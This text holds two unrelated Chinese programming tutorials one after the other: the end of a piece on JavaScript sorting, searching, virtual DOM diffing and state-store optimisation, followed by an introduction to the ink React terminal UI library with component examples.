    const right = this.mergeSort(arr.slice(mid));
    
    return this.merge(left, right);
  }
  
  static merge(left, right) {
    const result = [];
    let i = 0;
    let j = 0;
    
    while (i < left.length && j < right.length) {
      if (left[i] < right[j]) {
        result.push(left[i]);
        i++;
      } else {
        result.push(right[j]);
        j++;
      }
    }
    
    return result.concat(left.slice(i), right.slice(j));
  }
  
  // 堆排序
  static heapSort(arr) {
    const n = arr.length;
    
    // 构建最大堆
    for (let i = Math.floor(n / 2) - 1; i >= 0; i--) {
      this.heapify(arr, n, i);
    }
    
    // 一个个提取元素
    for (let i = n - 1; i > 0; i--) {
      [arr[0], arr[i]] = [arr[i], arr[0]];
      this.heapify(arr, i, 0);
    }
    
    return arr;
  }
  
  static heapify(arr, n, i) {
    let largest = i;
    const left = 2 * i + 1;
    const right = 2 * i + 2;
    
    if (left < n && arr[left] > arr[largest]) {
      largest = left;
    }
    
    if (right < n && arr[right] > arr[largest]) {
      largest = right;
    }
    
    if (largest !== i) {
      [arr[i], arr[largest]] = [arr[largest], arr[i]];
      this.heapify(arr, n, largest);
    }
  }
  
  // 性能比较
  static performanceTest() {
    const sizes = [1000, 10000, 100000];
    
    for (const size of sizes) {
      const arr = Array.from({ length: size }, () => 
        Math.floor(Math.random() * size)
      );
      
      console.log(`\n测试数组大小: ${size}`);
      
      // 快速排序
      const arr1 = [...arr];
      console.time('快速排序');
      this.quickSort(arr1);
      console.timeEnd('快速排序');
      
      // 归并排序
      const arr2 = [...arr];
      console.time('归并排序');
      this.mergeSort(arr2);
      console.timeEnd('归并排序');
      
      // 堆排序
      const arr3 = [...arr];
      console.time('堆排序');
      this.heapSort(arr3);
      console.timeEnd('堆排序');
      
      // 内置排序
      const arr4 = [...arr];
      console.time('内置排序');
      arr4.sort((a, b) => a - b);
      console.timeEnd('内置排序');
    }
  }
}

九、搜索算法优化

9.1 二分查找及其变体
class SearchAlgorithms {
  // 标准二分查找
  static binarySearch(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] === target) {
        return mid;
      } else if (arr[mid] < target) {
        left = mid + 1;
      } else {
        right = mid - 1;
      }
    }
    
    return -1;
  }
  
  // 查找第一个等于目标值的位置
  static binarySearchFirst(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] >= target) {
        if (arr[mid] === target) {
          result = mid;
        }
        right = mid - 1;
      } else {
        left = mid + 1;
      }
    }
    
    return result;
  }
  
  // 查找最后一个等于目标值的位置
  static binarySearchLast(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] <= target) {
        if (arr[mid] === target) {
          result = mid;
        }
        left = mid + 1;
      } else {
        right = mid - 1;
      }
    }
    
    return result;
  }
  
  // 查找第一个大于等于目标值的位置
  static binarySearchCeil(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] >= target) {
        result = mid;
        right = mid - 1;
      } else {
        left = mid + 1;
      }
    }
    
    return result;
  }
  
  // 插值查找(适用于均匀分布的有序数组)
  static interpolationSearch(arr, target) {
    let low = 0;
    let high = arr.length - 1;
    
    while (low <= high && target >= arr[low] && target <= arr[high]) {
      if (low === high) {
        return arr[low] === target ? low : -1;
      }
      
      // 计算插值位置
      const pos = low + Math.floor(
        ((target - arr[low]) * (high - low)) / (arr[high] - arr[low])
      );
      
      if (arr[pos] === target) {
        return pos;
      } else if (arr[pos] < target) {
        low = pos + 1;
      } else {
        high = pos - 1;
      }
    }
    
    return -1;
  }
}

十、实际应用场景

10.1 虚拟DOM diff算法中的优化
class VNode {
  constructor(tag, props, children) {
    this.tag = tag;
    this.props = props || {};
    this.children = children || [];
    this.key = props && props.key;
  }
}

class VirtualDOM {
  // 简化的diff算法
  static diff(oldVNode, newVNode) {
    // 如果标签不同,直接替换
    if (oldVNode.tag !== newVNode.tag) {
      return { type: 'REPLACE', node: newVNode };
    }
    
    // 如果都有key且不同,移动节点
    if (oldVNode.key !== newVNode.key) {
      return { type: 'REORDER', moves: this.calculateMoves(oldVNode, newVNode) };
    }
    
    // 比较属性
    const propsPatches = this.diffProps(oldVNode.props, newVNode.props);
    
    // 比较子节点
    const childrenPatches = this.diffChildren(oldVNode.children, newVNode.children);
    
    return {
      type: 'UPDATE',
      props: propsPatches,
      children: childrenPatches
    };
  }
  
  static diffProps(oldProps, newProps) {
    const patches = {};
    const allKeys = new Set([
      ...Object.keys(oldProps),
      ...Object.keys(newProps)
    ]);
    
    for (const key of allKeys) {
      if (oldProps[key] !== newProps[key]) {
        patches[key] = newProps[key];
      }
    }
    
    return patches;
  }
  
  static diffChildren(oldChildren, newChildren) {
    const patches = [];
    const len = Math.max(oldChildren.length, newChildren.length);
    
    for (let i = 0; i < len; i++) {
      const oldChild = oldChildren[i];
      const newChild = newChildren[i];
      
      if (!oldChild && newChild) {
        patches.push({ type: 'INSERT', node: newChild });
      } else if (oldChild && !newChild) {
        patches.push({ type: 'REMOVE' });
      } else if (oldChild && newChild) {
        patches.push(this.diff(oldChild, newChild));
      }
    }
    
    return patches;
  }
  
  static calculateMoves(oldNode, newNode) {
    // 简化的移动计算,实际实现更复杂
    return [];
  }
}
10.2 状态管理中的优化
class OptimizedStore {
  constructor(reducer, initialState) {
    this.state = initialState;
    this.reducer = reducer;
    this.listeners = new Set();
    this.isDispatching = false;
  }
  
  getState() {
    if (this.isDispatching) {
      throw new Error('不能在reducer执行中获取状态');
    }
    return this.state;
  }
  
  dispatch(action) {
    if (this.isDispatching) {
      throw new Error('不能在reducer执行中dispatch');
    }
    
    try {
      this.isDispatching = true;
      this.state = this.reducer(this.state, action);
    } finally {
      this.isDispatching = false;
    }
    
    // 通知所有监听器
    this.listeners.forEach(listener => listener());
  }
  
  subscribe(listener) {
    this.listeners.add(listener);
    
    // 返回取消订阅的函数
    return () => {
      this.listeners.delete(listener);
    };
  }
  
  // 选择器优化:记忆化
  createSelector(...funcs) {
    const resultFunc = funcs.pop();
    const dependencies = funcs;
    let lastArgs = [];
    let lastResult;
    
    return (...args) => {
      if (lastArgs.length === args.length && 
          lastArgs.every((arg, i) => arg === args[i])) {
        return lastResult;
      }
      
      const dependenciesResults = dependencies.map(fn => fn(...args));
      lastResult = resultFunc(...dependenciesResults);
      lastArgs = args;
      
      return lastResult;
    };
  }
}

总结

JavaScript性能优化离不开对数据结构和算法的深入理解。本文涵盖了从基础数据结构到高级算法优化的完整体系,包括:

  1. 数据结构选择策略: 根据不同场景选择最合适的数据结构
  2. 链表及其变体: 单向链表、双向链表的实现与应用
  3. 栈和队列: 基础实现及其在算法中的应用
  4. 树结构: 二叉树、平衡树的实现与遍历优化
  5. 缓存机制: LRU缓存的实现原理
  6. 图算法: 遍历、最短路径等核心算法
  7. 散列表: 哈希函数设计与冲突解决
  8. 排序搜索: 各类算法的性能比较与优化
  9. 实际应用: 在前端框架和状态管理中的实践

在实际开发中,需要根据具体场景选择合适的数据结构和算法。对于大多数前端应用,合理使用Map、Set等内置数据结构,结合适当的算法优化,就能显著提升性能。对于复杂场景,则需要深入理解各种数据结构的特性,做出最优选择。

记住,没有绝对最优的数据结构,只有在特定场景下的最适合选择。持续学习和实践,才能在性能优化这条道路上越走越远。

Claude Code 使用的命令行 UI 库: ink(使用 react 编写命令行界面)

ink 是一个使用 react 编写界面的库。我编写了方便学习 ink 的网站 ink learn

如果在使用的过程中有任何需求或 bug ,可以通过: github.com/wutiange/in… 进行反馈。

1. Text

export default function App() {
    return (
        <>
            <Text color={'green'}>I am green</Text>
            <Text color={'black'} backgroundColor={'white'}>I am black on white</Text>
            <Text color={'#fff'}>I am white</Text>
            <Text bold>I am bold</Text>
            <Text underline>I am underline</Text>
            <Text strikethrough>I am strikethrough</Text>
            <Text inverse>I am inversed</Text>
        </>
    );
}

这是文字相关的设置,包括字体颜色,背景颜色,加粗等等。

  • color 文字颜色,可以是英文单词,也可以是十六进制的颜色值,只能输入 #rgb#rrggbb ,还可以设置 rgb(255, 0, 255)
  • backgroundColor 背景颜色,颜色值跟 color 相同;
  • bold 是否加粗;
  • underline 是否有下划线;
  • strikethrough 是否有删除线;
  • inverse color 是否反转,也就是颜色是否变成背景色;
  • wrap 换行策略

2. Box

Box 主要控制宽高/内外边距/边框等等。

  1. 宽高
const Example = () => (
    <>
        <Box width={4} borderStyle="classic">
            <Text>X</Text>
        </Box>

        <Box height={4} borderStyle="classic">
            <Text>X</Text>
        </Box>
    </>
);

其效果如下:

可以看到加上边框总共宽度和高度是 4 。宽度不指定的情况下是整个终端的宽度。

  1. 内边距
const Example = () => (
    <>
        <Box paddingTop={2} borderStyle="classic"><Text>Top</Text></Box>
        <Box paddingBottom={2} borderStyle="classic"><Text>Bottom</Text></Box>
        <Box paddingLeft={2} borderStyle="classic"><Text>Left</Text></Box>
        <Box paddingRight={2} borderStyle="classic"><Text>Right</Text></Box>
        <Box paddingX={2} borderStyle="classic"><Text>Left and right</Text></Box>
        <Box paddingY={2} borderStyle="classic"><Text>Top and bottom</Text></Box>
        <Box padding={2} borderStyle="classic"><Text>Top, bottom, left and right</Text></Box>
    </>
);

其效果为:

  1. 外边距
const Example = () => (
    <>
        <Box marginTop={2} borderStyle="classic"><Text>Top</Text></Box>
        <Box marginBottom={2} borderStyle="classic"><Text>Bottom</Text></Box>
        <Box marginLeft={2} borderStyle="classic"><Text>Left</Text></Box>
        <Box marginRight={2} borderStyle="classic"><Text>Right</Text></Box>
        <Box marginX={2} borderStyle="classic"><Text>Left and right</Text></Box>
        <Box marginY={2} borderStyle="classic"><Text>Top and bottom</Text></Box>
        <Box margin={2} borderStyle="classic"><Text>Top, bottom, left and right</Text></Box>
    </>
);

其效果为:

  1. 布局

ink 默认是采用 Yoga 进行布局的,默认是水平排列( display 只有两个值 flexnone ):

<Box>
  <Text>A</Text>
  <Text>B</Text>
  <Text>C</Text>
</Box>

其效果为:

我们可以利用 gap 属性来调整它们之间的距离。

<Box gap={2}>
  <Text>A</Text>
  <Text>B</Text>
  <Text>C</Text>
</Box>

其效果:

布局相关的属性同样也是支持的,比如:flexGrow, flexShrink, flexBasis, flexDirection, flexWrap, alignItems, alignSelf, justifyContent

  1. 边框
const Example = () => (
    <>
        <Box flexDirection="column">
            <Box>
                <Box borderStyle="single" marginRight={2}>
                        <Text>single</Text>
                </Box>
                <Box borderStyle="double" marginRight={2}>
                        <Text>double</Text>
                </Box>
                <Box borderStyle="round" marginRight={2}>
                        <Text>round</Text>
                </Box>
                <Box borderStyle="bold">
                        <Text>bold</Text>
                </Box>
            </Box>
            <Box marginTop={1}>
                <Box borderStyle="singleDouble" marginRight={2}>
                        <Text>singleDouble</Text>
                </Box>
                <Box borderStyle="doubleSingle" marginRight={2}>
                        <Text>doubleSingle</Text>
                </Box>
                <Box borderStyle="classic">
                        <Text>classic</Text>
                </Box>
            </Box>
        </Box>

        <Box
            borderStyle={{
                    topLeft: '↘',
                    top: '↓',
                    topRight: '↙',
                    left: '→',
                    bottomLeft: '↗',
                    bottom: '↑',
                    bottomRight: '↖',
                    right: '←'
            }}
        >
            <Text>Custom</Text>
        </Box>
    </>
);

其效果:

也可以给边框设置颜色,也可以不显示某一边的边框。

  1. 背景颜色

我在我的电脑上测试发现是不起作用的。

3. Newline

用于在文本中插入一行或多行换行符,必须在 Text 组件内部使用。

<Text>
  <Text color="green">Hello</Text>
  <Newline />
  <Text color="red">World</Text>
</Text>

其效果为:

4. Spacer

这个用于占位的,相当于 <div style="flex: 1" />

<>
  <Box>
    <Text>Left</Text>
    <Spacer />
    <Text>Right</Text>
  </Box>

  <Box flexDirection="column" height={10}>
    <Text>Top</Text>
    <Spacer />
    <Text>Bottom</Text>
  </Box>
</>

其效果为:

在 web 中还可以使用 marginTop: auto 代替,只不过 ink 目前我看到不支持。

5. Static

用于避免重复渲染的,如果我们使用 .map 的方式,那么每一次渲染列表中的每一个都会重复再次渲染,但是使用 Static 就不会。

import React, {useState, useEffect} from 'react';
import {render, Static, Box, Text} from 'ink';

const Example = () => {
    const [tests, setTests] = useState([]);

    useEffect(() => {
        let completedTests = 0;
        let timer;

        const run = () => {
            // Fake 10 completed tests
            if (completedTests++ < 10) {
                setTests(previousTests => [
                    ...previousTests,
                    {
                        id: previousTests.length,
                        title: `Test #${previousTests.length + 1}`
                    }
                ]);

                timer = setTimeout(run, 100);
            }
        };

        run();

        return () => {
            clearTimeout(timer);
        };
    }, []);

    return (
        <>
            {/* This part will be rendered once to the terminal */}
            <Static items={tests}>
                    {test => (
                            <Box key={test.id}>
                                    <Text color="green">✔ {test.title}</Text>
                            </Box>
                    )}
            </Static>

            {/* This part keeps updating as state changes */}
            <Box marginTop={1}>
                    <Text dimColor>Completed tests: {tests.length}</Text>
            </Box>
        </>
    );
};

render(<Example />);

其效果是每个 100ms 就会出现一个新的项。

使用 Static ,当 Test #1 渲染,下次列表改变了也不会重新渲染这个数据。可以封装组件打印日志来验证。

6. Transform

用于在输出到终端之前经过这个进行转换。

const Example = () => (
    <Transform transform={output => output.toUpperCase()}>
        <Text>Hello World</Text>
    </Transform>
);

其效果为:

7. useInput

用户接收用户的输入。

import React, {useState} from 'react';
import {render, Box, Text, useInput} from 'ink';

const UserInput = () => {
    const [message, setMessage] = useState('按箭头键或按 "q" 试试');

    useInput((input, key) => {
        if (input === 'q') {
                setMessage('收到 "q",这里通常会调用 exit() 结束程序');
                return;
        }

        if (key.leftArrow) {
                setMessage('← Left arrow pressed');
        } else if (key.rightArrow) {
                setMessage('→ Right arrow pressed');
        } else if (key.upArrow) {
                setMessage('↑ Up arrow pressed');
        } else if (key.downArrow) {
                setMessage('↓ Down arrow pressed');
        } else if (key.return) {
                setMessage('⏎ Enter pressed');
        }
    });

    return (
        <Box flexDirection="column">
            <Text color="green">{message}</Text>
            <Text dimColor>按方向键、Enter 或 "q" 观察上面的提示变化</Text>
        </Box>
    );
};

render(<UserInput />);

其中像字母这些通过 input 来拿到,而像 esc , return 等等通过 key 来取到。其中 key 可以取到的值有:

  • leftArrow 左
  • rightArrow 右
  • upArrow 上
  • downArrow 下
  • return Enter 键
  • escape Esc 键
  • ctrl Ctrl 键
  • tab
  • backspace
  • delete
  • pageUp
  • pageDown
  • meta

其他的就到网站进行学习,里面是交互的,可以一边修改代码一边看效果,学习起来更加轻松。

❌